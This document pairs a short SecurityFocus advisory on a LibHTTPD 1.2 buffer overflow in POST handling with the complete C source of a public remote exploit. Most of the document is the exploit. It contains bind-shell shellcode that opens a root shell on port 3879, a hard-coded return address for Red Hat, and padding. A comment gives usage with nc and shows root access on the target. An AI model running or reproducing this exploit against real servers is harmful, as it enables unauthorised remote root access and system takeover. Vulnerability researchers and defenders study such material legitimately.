source: http://www.securityfocus.com/bid/6172/info

LibHTTPD is vulnerable to a buffer overflow condition. By passing a POST request of excessive length, it is possible to overrun a static buffer. This may result in sensitive locations in memory being overwritten by attacker-supplied values.

Successful exploitation of this vulnerability may allow an attacker to execute arbitrary code with super user privileges.

It should be noted that this vulnerability was reported in LibHTTPD v1.2. It is not yet known whether earlier versions are affected. 

/*
**
** Lib HTTPd Remote Buffer Overflow exploit
**                             by Xpl017Elz
** __
** Testing exploit:
**
** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
**
** (Ctrl+c)
** punt!
** bash$ nc libhttphost 3879
** uname
** Linux
** id
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
** 3(sys),4(adm),6(disk),10(wheel)
** exit
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
*/

#include <stdio.h>
int main(/* args? */)
{
    int shadd2r;
    char b1ndsh[] = /* 129byte bindshellcode */
        "\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\215M"
        "\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354\211E"
        "\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\315"
        "\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u"
        "\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\377"
        "\377\377/bin/sh";
    //--- POST &shellcode ---//
    fprintf(stdout,"POST ");
    for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
    {/* rEDhAT Default: 0x804e482,
        Debian Address? */
        fprintf(stdout,"\202\344\004\b");
    }
    fprintf(stdout,"\r\n");
    //--- NOP,shellcode ---//
    for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
    {/* SSSSSSSS...SSSSSSSSS;;; */
        fprintf(stdout,"S");
    }
    fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh);
}

